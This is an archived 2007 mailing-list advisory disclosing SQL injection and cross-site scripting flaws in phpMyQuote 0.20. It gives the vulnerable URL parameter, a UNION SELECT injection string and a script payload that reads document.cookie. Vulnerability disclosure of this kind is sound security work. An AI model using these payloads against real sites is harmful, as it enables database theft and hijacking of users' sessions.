|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
phpMyQuote 0.20 Version Multiple Sql And Xss Vulnerabilities
yollubunlar
yollubunlar.org
Date: Sat Sep 08 2007 - 20:26:56 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
/////////////// Yollubunlar.org ///////////////
title: phpMyQuote 0.20 Version Multiple Sql And Xss Vulnerabilities
Author : Yollubunlar.Org
Orginal Article: http://yollubunlar.org/phpmyquote-020-version-multiple-sql-and-xss-vulnerabilities-3501.html
MainPage: http://yollubunlar.org/category/web-security
mail : yollubunlar
yollubunlar.org
Exploit Sql : http://site.com/script_path/index.php?action=edit&id=[Sql injction]
Example : /index.php?action=edit&id=-1%20union%20select%200,1,2,3,4,5/*
Exploit Xss :http://site.com/script_path/index.php?action=edit&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
/////////////// Yollubunlar.org ///////////////
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]